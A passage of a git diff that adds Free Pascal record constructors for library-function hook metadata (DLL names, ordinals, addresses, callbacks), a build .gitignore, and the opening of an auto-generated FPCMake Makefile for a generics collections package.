FnName : string; + Ordinal : UInt32; + IsOrdinal : Boolean = False; + NCallBack : Pointer = nil; // Native Callback - next version . + JSHook : TNewHook = nil): THookFunction; +begin + Result.LibName := LibName; + Result.FuncName := FnName; + Result.IsOrdinal := IsOrdinal; + Result.ordinal := Ordinal; + Result.JSHook := JSHook; + Result.nativeCallBack := NCallBack; +end; + +class function TLibFunction.Create( + const LibName, FnName : string; + VAddr : UInt64; + Ordinal : UInt32; + UserData : PQWord; + FIsForwarder, IsOrdinal : Boolean; + FWName : string): TLibFunction; +begin + Result.Hits := 0; + Result.Return := 0; + Result.IsForwarder := FIsForwarder; + Result.IsOrdinal := IsOrdinal; + Result.FWName := FWName; + Result.LibName := LibName; + Result.FuncName := FnName; + Result.VAddress := VAddr; + Result.ordinal := Ordinal; + Result.UserData := UserData; +end; + +class function TNewDll.Create(EntryPoint : UInt64; const LibName : string; FBaseAddress : UInt64; + FImageSize : UInt32; + ByAddr : TFastHashMap<UInt64, TLibFunction>; + ByOrdinal : TFastHashMap<UInt64, TLibFunction>; + ByName : TFastHashMap<String, TLibFunction>): TNewDll; static; +begin + Result.EntryPoint := EntryPoint; + Result.Dllname := LibName; + Result.BaseAddress := FBaseAddress; + Result.ImageSize := FImageSize; + Result.FnByAddr := ByAddr; + Result.FnByOrdinal := ByOrdinal; + Result.FnByName := ByName; +end; + +end. + diff --git a/Core/generics_collections/.gitignore b/Core/generics_collections/.gitignore new file mode 100755 index 0000000..ec605bf --- /dev/null +++ b/Core/generics_collections/.gitignore @@ -0,0 +1,7 @@ +*.exe +*.lps +*.bak +*.compiled +*.o +*.ppu +*.rsj diff --git a/Core/generics_collections/Makefile b/Core/generics_collections/Makefile new file mode 100755 index 0000000..369046a --- /dev/null +++ b/Core/generics_collections/Makefile @@ -0,0 +1,2486 @@ +# +# Don't edit, this file is generated by FPCMake Version 2.0.0 [2016-06-18 rev 34006] +# +default: all +MAKEFILETARGETS=i386-linux i386-go32v2 i386-win32 i386-os2 i386-freebsd i386-beos i386-haiku i386-netbsd i386-solaris i386-qnx i386-netware i386-openbsd i386-wdosx i386-darwin i386-emx i386-watcom i386-netwlibc i386-wince i386-embedded i386-symbian i386-nativent i386-iphonesim i386-android i386-aros m68k-linux m68k-freebsd m68k-netbsd m68k-amiga m68k-atari m68k-openbsd m68k-palmos m68k-embedded powerpc-linux powerpc-netbsd powerpc-amiga powerpc-macos powerpc-darwin powerpc-morphos powerpc-embedded powerpc-wii powerpc-aix sparc-linux sparc-netbsd sparc-solaris sparc-embedded x86_64-linux x86_64-freebsd x86_64-netbsd x86_64-solaris x86_64-openbsd x86_64-darwin x86_64-win64 x86_64-embedded x86_64-iphonesim x86_64-aros x86_64-dragonfly arm-linux arm-palmos arm-darwin arm-wince arm-gba arm-nds arm-embedded arm-symbian arm-android powerpc64-linux powerpc64-darwin powerpc64-embedded powerpc64-aix avr-embedded armeb-linux armeb-embedded mips-linux mipsel-linux mipsel-embedded mipsel-android jvm-java jvm-android i8086-embedded i8086-msdos i8086-win16 aarch64-linux aarch64-darwin +BSDs = freebsd netbsd openbsd darwin dragonfly +UNIXs = linux $(BSDs) solaris qnx haiku aix +LIMIT83fs = go32v2 os2 emx watcom msdos win16 +OSNeedsComspecToRunBatch = go32v2 watcom +FORCE: +.PHONY: FORCE +override PATH:=$(patsubst %/,%,$(subst \,/,$(PATH))) +ifneq ($(findstring darwin,$(OSTYPE)),) +inUnix=1 #darwin +SEARCHPATH:=$(filter-out .,$(subst :, ,$(PATH))) +else +ifeq ($(findstring ;,$(PATH)),) +inUnix=1 +SEARCHPATH:=$(filter-out .,$(subst :, ,$(PATH))) +else +SEARCHPATH:=$(subst ;, ,$(PATH)) +endif +endif +SEARCHPATH+=$(patsubst %/,%,$(subst \,/,$(dir $(MAKE)))) +PWD:=$(strip $(wildcard $(addsuffix /pwd.exe,$(SEARCHPATH)))) +ifeq ($(PWD),) +PWD:=$(strip $(wildcard $(addsuffix /pwd,$(SEARCHPATH)))) +ifeq ($(PWD),) +$(error You need the GNU utils package to use this Makefile) +else +PWD:=$(firstword $(PWD)) +SRCEXEEXT= +endif +else +PWD:=$(firstword $(PWD)) +SRCEXEEXT=.exe +endif +ifndef inUnix +ifeq ($(OS),Windows_NT) +inWinNT=1 +else +ifdef OS2_SHELL +inOS2=1 +endif +endif +else +ifneq ($(findstring cygdrive,$(PATH)),) +inCygWin=1 +endif +endif +ifdef inUnix +SRCBATCHEXT=.sh +else +ifdef inOS2 +SRCBATCHEXT=.cmd +else +SRCBATCHEXT=.bat +endif +endif +ifdef COMSPEC +ifneq ($(findstring $(OS_SOURCE),$(OSNeedsComspecToRunBatch)),) +ifndef RUNBATCH +RUNBATCH=$(COMSPEC) /C +endif +endif +endif +ifdef inUnix +PATHSEP=/ +else +PATHSEP:=$(subst /,\,/) +ifdef inCygWin +PATHSEP=/ +endif +endif +ifdef PWD +BASEDIR:=$(subst \,/,$(shell $(PWD))) +ifdef inCygWin +ifneq ($(findstring /cygdrive/,$(BASEDIR)),) +BASENODIR:=$(patsubst /cygdrive%,%,$(BASEDIR)) +BASEDRIVE:=$(firstword $(subst /, ,$(BASENODIR))) +BASEDIR:=$(subst /cygdrive/$(BASEDRIVE)/,$(BASEDRIVE):/,$(BASEDIR)) +endif +endif +else +BASEDIR=. +endif +ifdef inOS2 +ifndef ECHO +ECHO:=$(strip $(wildcard $(addsuffix /gecho$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(ECHO),) +ECHO:=$(strip $(wildcard $(addsuffix /echo$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(ECHO),) +ECHO=echo +else +ECHO:=$(firstword $(ECHO)) +endif +else +ECHO:=$(firstword $(ECHO)) +endif +endif +export ECHO +endif +override DEFAULT_FPCDIR=../.. +ifndef FPC +ifdef PP +FPC=$(PP) +endif +endif +ifndef FPC +FPCPROG:=$(strip $(wildcard $(addsuffix /fpc$(SRCEXEEXT),$(SEARCHPATH)))) +ifneq ($(FPCPROG),) +FPCPROG:=$(firstword $(FPCPROG)) +ifneq ($(CPU_TARGET),) +FPC:=$(shell $(FPCPROG) -P$(CPU_TARGET) -PB) +else +FPC:=$(shell $(FPCPROG) -PB) +endif +ifneq ($(findstring Error,$(FPC)),) +override FPC=$(firstword $(strip $(wildcard $(addsuffix /ppc386$(SRCEXEEXT),$(SEARCHPATH))))) +else +ifeq ($(strip $(wildcard $(FPC))),) +FPC:=$(firstword $(FPCPROG)) +endif +endif +else +override FPC=$(firstword $(strip $(wildcard $(addsuffix /ppc386$(SRCEXEEXT),$(SEARCHPATH))))) +endif +endif +override FPC:=$(subst $(SRCEXEEXT),,$(FPC)) +override FPC:=$(subst \,/,$(FPC))$(SRCEXEEXT) +FOUNDFPC:=$(strip $(wildcard $(FPC))) +ifeq ($(FOUNDFPC),) +FOUNDFPC=$(strip $(wildcard $(addsuffix /$(FPC),$(SEARCHPATH)))) +ifeq ($(FOUNDFPC),) +$(error Compiler $(FPC) not found) +endif +endif +ifndef FPC_COMPILERINFO +FPC_COMPILERINFO:=$(shell $(FPC) -iVSPTPSOTO) +endif +ifndef FPC_VERSION +FPC_VERSION:=$(word 1,$(FPC_COMPILERINFO)) +endif +export FPC FPC_VERSION FPC_COMPILERINFO +unexport CHECKDEPEND ALLDEPENDENCIES +ifndef CPU_TARGET +ifdef CPU_TARGET_DEFAULT +CPU_TARGET=$(CPU_TARGET_DEFAULT) +endif +endif +ifndef OS_TARGET +ifdef OS_TARGET_DEFAULT +OS_TARGET=$(OS_TARGET_DEFAULT) +endif +endif +ifndef CPU_SOURCE +CPU_SOURCE:=$(word 2,$(FPC_COMPILERINFO)) +endif +ifndef CPU_TARGET +CPU_TARGET:=$(word 3,$(FPC_COMPILERINFO)) +endif +ifndef OS_SOURCE +OS_SOURCE:=$(word 4,$(FPC_COMPILERINFO)) +endif +ifndef OS_TARGET +OS_TARGET:=$(word 5,$(FPC_COMPILERINFO)) +endif +FULL_TARGET=$(CPU_TARGET)-$(OS_TARGET) +FULL_SOURCE=$(CPU_SOURCE)-$(OS_SOURCE) +ifeq ($(CPU_TARGET),armeb) +ARCH=arm +override FPCOPT+=-Cb +else +ifeq ($(CPU_TARGET),armel) +ARCH=arm +override FPCOPT+=-CaEABI +else +ARCH=$(CPU_TARGET) +endif +endif +ifeq ($(FULL_TARGET),arm-embedded) +ifeq ($(SUBARCH),) +$(error When compiling for arm-embedded, a sub-architecture (e.g. SUBARCH=armv4t or SUBARCH=armv7m) must be defined) +endif +override FPCOPT+=-Cp$(SUBARCH) +endif +ifeq ($(FULL_TARGET),avr-embedded) +ifeq ($(SUBARCH),) +$(error When compiling for avr-embedded, a sub-architecture (e.g. SUBARCH=avr25 or SUBARCH=avr35) must be defined) +endif +override FPCOPT+=-Cp$(SUBARCH) +endif +ifeq ($(FULL_TARGET),mipsel-embedded) +ifeq ($(SUBARCH),) +$(error When compiling for mipsel-embedded, a sub-architecture (e.g. SUBARCH=pic32mx) must be defined) +endif +override FPCOPT+=-Cp$(SUBARCH) +endif +ifneq ($(findstring $(OS_SOURCE),$(LIMIT83fs)),) +TARGETSUFFIX=$(OS_TARGET) +SOURCESUFFIX=$(OS_SOURCE) +else +ifneq ($(findstring $(OS_TARGET),$(LIMIT83fs)),) +TARGETSUFFIX=$(OS_TARGET) +else +TARGETSUFFIX=$(FULL_TARGET) +endif +SOURCESUFFIX=$(FULL_SOURCE) +endif +ifneq ($(FULL_TARGET),$(FULL_SOURCE)) +CROSSCOMPILE=1 +endif +ifeq ($(findstring makefile,$(MAKECMDGOALS)),) +ifeq ($(findstring $(FULL_TARGET),$(MAKEFILETARGETS)),) +$(error The Makefile doesn't support target $(FULL_TARGET), please run fpcmake first) +endif +endif +ifneq ($(findstring $(OS_TARGET),$(BSDs)),) +BSDhier=1 +endif +ifeq ($(OS_TARGET),linux) +linuxHier=1 +endif +ifndef CROSSCOMPILE +BUILDFULLNATIVE=1 +export BUILDFULLNATIVE +endif +ifdef BUILDFULLNATIVE +BUILDNATIVE=1 +export BUILDNATIVE +endif +export OS_TARGET OS_SOURCE ARCH CPU_TARGET CPU_SOURCE FULL_TARGET FULL_SOURCE TARGETSUFFIX SOURCESUFFIX CROSSCOMPILE +ifdef FPCDIR +override FPCDIR:=$(subst \,/,$(FPCDIR)) +ifeq ($(wildcard $(addprefix $(FPCDIR)/,rtl units)),) +override FPCDIR=wrong +endif +else +override FPCDIR=wrong +endif +ifdef DEFAULT_FPCDIR +ifeq ($(FPCDIR),wrong) +override FPCDIR:=$(subst \,/,$(DEFAULT_FPCDIR)) +ifeq ($(wildcard $(addprefix $(FPCDIR)/,rtl units)),) +override FPCDIR=wrong +endif +endif +endif +ifeq ($(FPCDIR),wrong) +ifdef inUnix +override FPCDIR=/usr/local/lib/fpc/$(FPC_VERSION) +ifeq ($(wildcard $(FPCDIR)/units),) +override FPCDIR=/usr/lib/fpc/$(FPC_VERSION) +endif +else +override FPCDIR:=$(subst /$(FPC),,$(firstword $(strip $(wildcard $(addsuffix /$(FPC),$(SEARCHPATH)))))) +override FPCDIR:=$(FPCDIR)/.. +ifeq ($(wildcard $(addprefix $(FPCDIR)/,rtl units)),) +override FPCDIR:=$(FPCDIR)/.. +ifeq ($(wildcard $(addprefix $(FPCDIR)/,rtl units)),) +override FPCDIR:=$(BASEDIR) +ifeq ($(wildcard $(addprefix $(FPCDIR)/,rtl units)),) +override FPCDIR=c:/pp +endif +endif +endif +endif +endif +ifndef CROSSBINDIR +CROSSBINDIR:=$(wildcard $(FPCDIR)/bin/$(TARGETSUFFIX)) +endif +ifneq ($(findstring $(OS_TARGET),darwin iphonesim),) +ifeq ($(OS_SOURCE),darwin) +DARWIN2DARWIN=1 +endif +endif +ifndef BINUTILSPREFIX +ifndef CROSSBINDIR +ifdef CROSSCOMPILE +ifneq ($(OS_TARGET),msdos) +ifndef DARWIN2DARWIN +ifneq ($(CPU_TARGET),jvm) +BINUTILSPREFIX=$(CPU_TARGET)-$(OS_TARGET)- +ifeq ($(OS_TARGET),android) +ifeq ($(CPU_TARGET),arm) +BINUTILSPREFIX=arm-linux-androideabi- +else +ifeq ($(CPU_TARGET),i386) +BINUTILSPREFIX=i686-linux-android- +else +ifeq ($(CPU_TARGET),mipsel) +BINUTILSPREFIX=mipsel-linux-android- +endif +endif +endif +endif +endif +endif +else +BINUTILSPREFIX=$(OS_TARGET)- +endif +endif +endif +endif +UNITSDIR:=$(wildcard $(FPCDIR)/units/$(TARGETSUFFIX)) +ifeq ($(UNITSDIR),) +UNITSDIR:=$(wildcard $(FPCDIR)/units/$(OS_TARGET)) +endif +PACKAGESDIR:=$(wildcard $(FPCDIR) $(FPCDIR)/packages $(FPCDIR)/packages/base $(FPCDIR)/packages/extra) +ifndef FPCFPMAKE +ifdef CROSSCOMPILE +ifeq ($(strip $(wildcard $(addsuffix /compiler/ppc$(SRCEXEEXT),$(FPCDIR)))),) +FPCPROG:=$(strip $(wildcard $(addsuffix /fpc$(SRCEXEEXT),$(SEARCHPATH)))) +ifneq ($(FPCPROG),) +FPCPROG:=$(firstword $(FPCPROG)) +FPCFPMAKE:=$(shell $(FPCPROG) -PB) +ifeq ($(strip $(wildcard $(FPCFPMAKE))),) +FPCFPMAKE:=$(firstword $(FPCPROG)) +endif +else +override FPCFPMAKE=$(firstword $(strip $(wildcard $(addsuffix /ppc386$(SRCEXEEXT),$(SEARCHPATH))))) +endif +else +FPCFPMAKE=$(strip $(wildcard $(addsuffix /compiler/ppc$(SRCEXEEXT),$(FPCDIR)))) +FPMAKE_SKIP_CONFIG=-n +export FPCFPMAKE +export FPMAKE_SKIP_CONFIG +endif +else +FPMAKE_SKIP_CONFIG=-n +FPCFPMAKE=$(FPC) +endif +endif +override PACKAGE_NAME=googleapi +override PACKAGE_VERSION=3.1.1 +FPMAKE_BIN_CLEAN=$(wildcard ./fpmake$(SRCEXEEXT)) +ifdef OS_TARGET +FPC_TARGETOPT+=--os=$(OS_TARGET) +endif +ifdef CPU_TARGET +FPC_TARGETOPT+=--cpu=$(CPU_TARGET) +endif +LOCALFPMAKE=./fpmake$(SRCEXEEXT) +override INSTALL_FPCPACKAGE=y +ifdef REQUIRE_UNITSDIR +override UNITSDIR+=$(REQUIRE_UNITSDIR) +endif +ifdef REQUIRE_PACKAGESDIR +override PACKAGESDIR+=$(REQUIRE_PACKAGESDIR) +endif +ifdef ZIPINSTALL +ifneq ($(findstring $(OS_TARGET),$(UNIXs)),) +UNIXHier=1 +endif +else +ifneq ($(findstring $(OS_SOURCE),$(UNIXs)),) +UNIXHier=1 +endif +endif +ifndef INSTALL_PREFIX +ifdef PREFIX +INSTALL_PREFIX=$(PREFIX) +endif +endif +ifndef INSTALL_PREFIX +ifdef UNIXHier +INSTALL_PREFIX=/usr/local +else +ifdef INSTALL_FPCPACKAGE +INSTALL_BASEDIR:=/pp +else +INSTALL_BASEDIR:=/$(PACKAGE_NAME) +endif +endif +endif +export INSTALL_PREFIX +ifdef INSTALL_FPCSUBDIR +export INSTALL_FPCSUBDIR +endif +ifndef DIST_DESTDIR +DIST_DESTDIR:=$(BASEDIR) +endif +export DIST_DESTDIR +ifndef COMPILER_UNITTARGETDIR +ifdef PACKAGEDIR_MAIN +COMPILER_UNITTARGETDIR=$(PACKAGEDIR_MAIN)/units/$(TARGETSUFFIX) +else +COMPILER_UNITTARGETDIR=units/$(TARGETSUFFIX) +endif +endif +ifndef COMPILER_TARGETDIR +COMPILER_TARGETDIR=. +endif +ifndef INSTALL_BASEDIR +ifdef UNIXHier +ifdef INSTALL_FPCPACKAGE +INSTALL_BASEDIR:=$(INSTALL_PREFIX)/lib/fpc/$(FPC_VERSION) +else +INSTALL_BASEDIR:=$(INSTALL_PREFIX)/lib/$(PACKAGE_NAME) +endif +else +INSTALL_BASEDIR:=$(INSTALL_PREFIX) +endif +endif +ifndef INSTALL_BINDIR +ifdef UNIXHier +INSTALL_BINDIR:=$(INSTALL_PREFIX)/bin +else +INSTALL_BINDIR:=$(INSTALL_BASEDIR)/bin +ifdef INSTALL_FPCPACKAGE +ifdef CROSSCOMPILE +ifdef CROSSINSTALL +INSTALL_BINDIR:=$(INSTALL_BINDIR)/$(SOURCESUFFIX) +else +INSTALL_BINDIR:=$(INSTALL_BINDIR)/$(TARGETSUFFIX) +endif +else +INSTALL_BINDIR:=$(INSTALL_BINDIR)/$(TARGETSUFFIX) +endif +endif +endif +endif +ifndef INSTALL_UNITDIR +INSTALL_UNITDIR:=$(INSTALL_BASEDIR)/units/$(TARGETSUFFIX) +ifdef INSTALL_FPCPACKAGE +ifdef PACKAGE_NAME +INSTALL_UNITDIR:=$(INSTALL_UNITDIR)/$(PACKAGE_NAME) +endif +endif +endif +ifndef INSTALL_LIBDIR +ifdef UNIXHier +INSTALL_LIBDIR:=$(INSTALL_PREFIX)/lib +else +INSTALL_LIBDIR:=$(INSTALL_UNITDIR) +endif +endif +ifndef INSTALL_SOURCEDIR +ifdef UNIXHier +ifdef BSDhier +SRCPREFIXDIR=share/src +else +ifdef linuxHier +SRCPREFIXDIR=share/src +else +SRCPREFIXDIR=src +endif +endif +ifdef INSTALL_FPCPACKAGE +ifdef INSTALL_FPCSUBDIR +INSTALL_SOURCEDIR:=$(INSTALL_PREFIX)/$(SRCPREFIXDIR)/fpc-$(FPC_VERSION)/$(INSTALL_FPCSUBDIR)/$(PACKAGE_NAME) +else +INSTALL_SOURCEDIR:=$(INSTALL_PREFIX)/$(SRCPREFIXDIR)/fpc-$(FPC_VERSION)/$(PACKAGE_NAME) +endif +else +INSTALL_SOURCEDIR:=$(INSTALL_PREFIX)/$(SRCPREFIXDIR)/$(PACKAGE_NAME)-$(PACKAGE_VERSION) +endif +else +ifdef INSTALL_FPCPACKAGE +ifdef INSTALL_FPCSUBDIR +INSTALL_SOURCEDIR:=$(INSTALL_BASEDIR)/source/$(INSTALL_FPCSUBDIR)/$(PACKAGE_NAME) +else +INSTALL_SOURCEDIR:=$(INSTALL_BASEDIR)/source/$(PACKAGE_NAME) +endif +else +INSTALL_SOURCEDIR:=$(INSTALL_BASEDIR)/source +endif +endif +endif +ifndef INSTALL_DOCDIR +ifdef UNIXHier +ifdef BSDhier +DOCPREFIXDIR=share/doc +else +ifdef linuxHier +DOCPREFIXDIR=share/doc +else +DOCPREFIXDIR=doc +endif +endif +ifdef INSTALL_FPCPACKAGE +INSTALL_DOCDIR:=$(INSTALL_PREFIX)/$(DOCPREFIXDIR)/fpc-$(FPC_VERSION)/$(PACKAGE_NAME) +else +INSTALL_DOCDIR:=$(INSTALL_PREFIX)/$(DOCPREFIXDIR)/$(PACKAGE_NAME)-$(PACKAGE_VERSION) +endif +else +ifdef INSTALL_FPCPACKAGE +INSTALL_DOCDIR:=$(INSTALL_BASEDIR)/doc/$(PACKAGE_NAME) +else +INSTALL_DOCDIR:=$(INSTALL_BASEDIR)/doc +endif +endif +endif +ifndef INSTALL_EXAMPLEDIR +ifdef UNIXHier +ifdef INSTALL_FPCPACKAGE +ifdef BSDhier +INSTALL_EXAMPLEDIR:=$(INSTALL_PREFIX)/share/examples/fpc-$(FPC_VERSION)/$(PACKAGE_NAME) +else +ifdef linuxHier +INSTALL_EXAMPLEDIR:=$(INSTALL_DOCDIR)/examples +else +INSTALL_EXAMPLEDIR:=$(INSTALL_PREFIX)/doc/fpc-$(FPC_VERSION)/examples/$(PACKAGE_NAME) +endif +endif +else +ifdef BSDhier +INSTALL_EXAMPLEDIR:=$(INSTALL_PREFIX)/share/examples/$(PACKAGE_NAME)-$(PACKAGE_VERSION) +else +ifdef linuxHier +INSTALL_EXAMPLEDIR:=$(INSTALL_DOCDIR)/examples/$(PACKAGE_NAME)-$(PACKAGE_VERSION) +else +INSTALL_EXAMPLEDIR:=$(INSTALL_PREFIX)/doc/$(PACKAGE_NAME)-$(PACKAGE_VERSION) +endif +endif +endif +else +ifdef INSTALL_FPCPACKAGE +INSTALL_EXAMPLEDIR:=$(INSTALL_BASEDIR)/examples/$(PACKAGE_NAME) +else +INSTALL_EXAMPLEDIR:=$(INSTALL_BASEDIR)/examples +endif +endif +endif +ifndef INSTALL_DATADIR +INSTALL_DATADIR=$(INSTALL_BASEDIR) +endif +ifndef INSTALL_SHAREDDIR +INSTALL_SHAREDDIR=$(INSTALL_PREFIX)/lib +endif +ifdef CROSSCOMPILE +ifndef CROSSBINDIR +CROSSBINDIR:=$(wildcard $(CROSSTARGETDIR)/bin/$(SOURCESUFFIX)) +ifeq ($(CROSSBINDIR),) +CROSSBINDIR:=$(wildcard $(INSTALL_BASEDIR)/cross/$(TARGETSUFFIX)/bin/$(FULL_SOURCE)) +endif +endif +else +CROSSBINDIR= +endif +BATCHEXT=.bat +LOADEREXT=.as +EXEEXT=.exe +PPLEXT=.ppl +PPUEXT=.ppu +OEXT=.o +ASMEXT=.s +SMARTEXT=.sl +STATICLIBEXT=.a +SHAREDLIBEXT=.so +SHAREDLIBPREFIX=libfp +STATICLIBPREFIX=libp +IMPORTLIBPREFIX=libimp +RSTEXT=.rst +EXEDBGEXT=.dbg +ifeq ($(OS_TARGET),go32v1) +STATICLIBPREFIX= +SHORTSUFFIX=v1 +endif +ifeq ($(OS_TARGET),go32v2) +STATICLIBPREFIX= +SHORTSUFFIX=dos +IMPORTLIBPREFIX= +endif +ifeq ($(OS_TARGET),watcom) +STATICLIBPREFIX= +OEXT=.obj +ASMEXT=.asm +SHAREDLIBEXT=.dll +SHORTSUFFIX=wat +IMPORTLIBPREFIX= +endif +ifneq ($(CPU_TARGET),jvm) +ifeq ($(OS_TARGET),android) +BATCHEXT=.sh +EXEEXT= +HASSHAREDLIB=1 +SHORTSUFFIX=lnx +endif +endif +ifeq ($(OS_TARGET),linux) +BATCHEXT=.sh +EXEEXT= +HASSHAREDLIB=1 +SHORTSUFFIX=lnx +endif +ifeq ($(OS_TARGET),dragonfly) +BATCHEXT=.sh +EXEEXT= +HASSHAREDLIB=1 +SHORTSUFFIX=df +endif +ifeq ($(OS_TARGET),freebsd) +BATCHEXT=.sh +EXEEXT= +HASSHAREDLIB=1 +SHORTSUFFIX=fbs +endif +ifeq ($(OS_TARGET),netbsd) +BATCHEXT=.sh +EXEEXT= +HASSHAREDLIB=1 +SHORTSUFFIX=nbs +endif +ifeq ($(OS_TARGET),openbsd) +BATCHEXT=.sh +EXEEXT= +HASSHAREDLIB=1 +SHORTSUFFIX=obs +endif +ifeq ($(OS_TARGET),win32) +SHAREDLIBEXT=.dll +SHORTSUFFIX=w32 +endif +ifeq ($(OS_TARGET),os2) +BATCHEXT=.cmd +AOUTEXT=.out +STATICLIBPREFIX= +SHAREDLIBEXT=.dll +SHORTSUFFIX=os2 +ECHO=echo +IMPORTLIBPREFIX= +endif +ifeq ($(OS_TARGET),emx) +BATCHEXT=.cmd +AOUTEXT=.out +STATICLIBPREFIX= +SHAREDLIBEXT=.dll +SHORTSUFFIX=emx +ECHO=echo +IMPORTLIBPREFIX= +endif +ifeq ($(OS_TARGET),amiga) +EXEEXT= +SHAREDLIBEXT=.library +SHORTSUFFIX=amg +endif +ifeq ($(OS_TARGET),aros) +EXEEXT= +SHAREDLIBEXT=.library +SHORTSUFFIX=aros +endif +ifeq ($(OS_TARGET),morphos) +EXEEXT= +SHAREDLIBEXT=.library +SHORTSUFFIX=mos +endif +ifeq ($(OS_TARGET),atari) +EXEEXT=.ttp +SHORTSUFFIX=ata +endif +ifeq ($(OS_TARGET),beos) +BATCHEXT=.sh +EXEEXT= +SHORTSUFFIX=be +endif +ifeq ($(OS_TARGET),haiku) +BATCHEXT=.sh +EXEEXT= +SHORTSUFFIX=hai +endif +ifeq ($(OS_TARGET),solaris) +BATCHEXT=.sh +EXEEXT= +SHORTSUFFIX=sun +endif +ifeq ($(OS_TARGET),qnx) +BATCHEXT=.sh +EXEEXT= +SHORTSUFFIX=qnx +endif +ifeq ($(OS_TARGET),netware) +EXEEXT=.nlm +STATICLIBPREFIX= +SHORTSUFFIX=nw +IMPORTLIBPREFIX=imp +endif +ifeq ($(OS_TARGET),netwlibc) +EXEEXT=.nlm +STATICLIBPREFIX= +SHORTSUFFIX=nwl +IMPORTLIBPREFIX=imp +endif +ifeq ($(OS_TARGET),macos) +BATCHEXT= +EXEEXT= +DEBUGSYMEXT=.xcoff +SHORTSUFFIX=mac +IMPORTLIBPREFIX=imp +endif +ifneq ($(findstring $(OS_TARGET),darwin iphonesim),) +BATCHEXT=.sh +EXEEXT= +HASSHAREDLIB=1 +SHORTSUFFIX=dwn +EXEDBGEXT=.dSYM +endif +ifeq ($(OS_TARGET),gba) +EXEEXT=.gba +SHAREDLIBEXT=.so +SHORTSUFFIX=gba +endif +ifeq ($(OS_TARGET),symbian) +SHAREDLIBEXT=.dll +SHORTSUFFIX=symbian +endif +ifeq ($(OS_TARGET),NativeNT) +SHAREDLIBEXT=.dll +SHORTSUFFIX=nativent +endif +ifeq ($(OS_TARGET),wii) +EXEEXT=.dol +SHAREDLIBEXT=.so +SHORTSUFFIX=wii +endif +ifeq ($(OS_TARGET),aix) +BATCHEXT=.sh +EXEEXT= +SHORTSUFFIX=aix +endif +ifeq ($(OS_TARGET),java) +OEXT=.class +ASMEXT=.j +SHAREDLIBEXT=.jar +SHORTSUFFIX=java +endif +ifeq ($(CPU_TARGET),jvm) +ifeq ($(OS_TARGET),android) +OEXT=.class +ASMEXT=.j +SHAREDLIBEXT=.jar +SHORTSUFFIX=android +endif +endif +ifeq ($(OS_TARGET),msdos) +STATICLIBPREFIX= +STATICLIBEXT=.a +SHORTSUFFIX=d16 +endif +ifeq ($(OS_TARGET),embedded) +ifeq ($(CPU_TARGET),i8086) +STATICLIBPREFIX= +STATICLIBEXT=.a +else +EXEEXT=.bin +endif +SHORTSUFFIX=emb +endif +ifeq ($(OS_TARGET),win16) +STATICLIBPREFIX= +STATICLIBEXT=.a +SHAREDLIBEXT=.dll +SHORTSUFFIX=w16 +endif +ifneq ($(findstring $(OS_SOURCE),$(LIMIT83fs)),) +FPCMADE=fpcmade.$(SHORTSUFFIX) +ZIPSUFFIX=$(SHORTSUFFIX) +ZIPCROSSPREFIX= +ZIPSOURCESUFFIX=src +ZIPEXAMPLESUFFIX=exm +else +FPCMADE=fpcmade.$(TARGETSUFFIX) +ZIPSOURCESUFFIX=.source +ZIPEXAMPLESUFFIX=.examples +ifdef CROSSCOMPILE +ZIPSUFFIX=.$(SOURCESUFFIX) +ZIPCROSSPREFIX=$(TARGETSUFFIX)- +else +ZIPSUFFIX=.$(TARGETSUFFIX) +ZIPCROSSPREFIX= +endif +endif +ifndef ECHO +ECHO:=$(strip $(wildcard $(addsuffix /gecho$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(ECHO),) +ECHO:=$(strip $(wildcard $(addsuffix /echo$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(ECHO),) +ECHO= __missing_command_ECHO +else +ECHO:=$(firstword $(ECHO)) +endif +else +ECHO:=$(firstword $(ECHO)) +endif +endif +export ECHO +ifndef DATE +DATE:=$(strip $(wildcard $(addsuffix /gdate$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(DATE),) +DATE:=$(strip $(wildcard $(addsuffix /date$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(DATE),) +DATE= __missing_command_DATE +else +DATE:=$(firstword $(DATE)) +endif +else +DATE:=$(firstword $(DATE)) +endif +endif +export DATE +ifndef GINSTALL +GINSTALL:=$(strip $(wildcard $(addsuffix /ginstall$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(GINSTALL),) +GINSTALL:=$(strip $(wildcard $(addsuffix /install$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(GINSTALL),) +GINSTALL= __missing_command_GINSTALL +else +GINSTALL:=$(firstword $(GINSTALL)) +endif +else +GINSTALL:=$(firstword $(GINSTALL)) +endif +endif +export GINSTALL +ifndef CPPROG +CPPROG:=$(strip $(wildcard $(addsuffix /cp$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(CPPROG),) +CPPROG= __missing_command_CPPROG +else +CPPROG:=$(firstword $(CPPROG)) +endif +endif +export CPPROG +ifndef RMPROG +RMPROG:=$(strip $(wildcard $(addsuffix /rm$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(RMPROG),) +RMPROG= __missing_command_RMPROG +else +RMPROG:=$(firstword $(RMPROG)) +endif +endif +export RMPROG +ifndef MVPROG +MVPROG:=$(strip $(wildcard $(addsuffix /mv$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(MVPROG),) +MVPROG= __missing_command_MVPROG +else +MVPROG:=$(firstword $(MVPROG)) +endif +endif +export MVPROG +ifndef MKDIRPROG +MKDIRPROG:=$(strip $(wildcard $(addsuffix /gmkdir$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(MKDIRPROG),) +MKDIRPROG:=$(strip $(wildcard $(addsuffix /mkdir$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(MKDIRPROG),) +MKDIRPROG= __missing_command_MKDIRPROG +else +MKDIRPROG:=$(firstword $(MKDIRPROG)) +endif +else +MKDIRPROG:=$(firstword $(MKDIRPROG)) +endif +endif +export MKDIRPROG +ifndef ECHOREDIR +ifndef inUnix +ECHOREDIR=echo +else +ECHOREDIR=$(ECHO) +endif +endif +ifndef COPY +COPY:=$(CPPROG) -fp +endif +ifndef COPYTREE +COPYTREE:=$(CPPROG) -Rfp +endif +ifndef MKDIRTREE +MKDIRTREE:=$(MKDIRPROG) -p +endif +ifndef MOVE +MOVE:=$(MVPROG) -f +endif +ifndef DEL +DEL:=$(RMPROG) -f +endif +ifndef DELTREE +DELTREE:=$(RMPROG) -rf +endif +ifndef 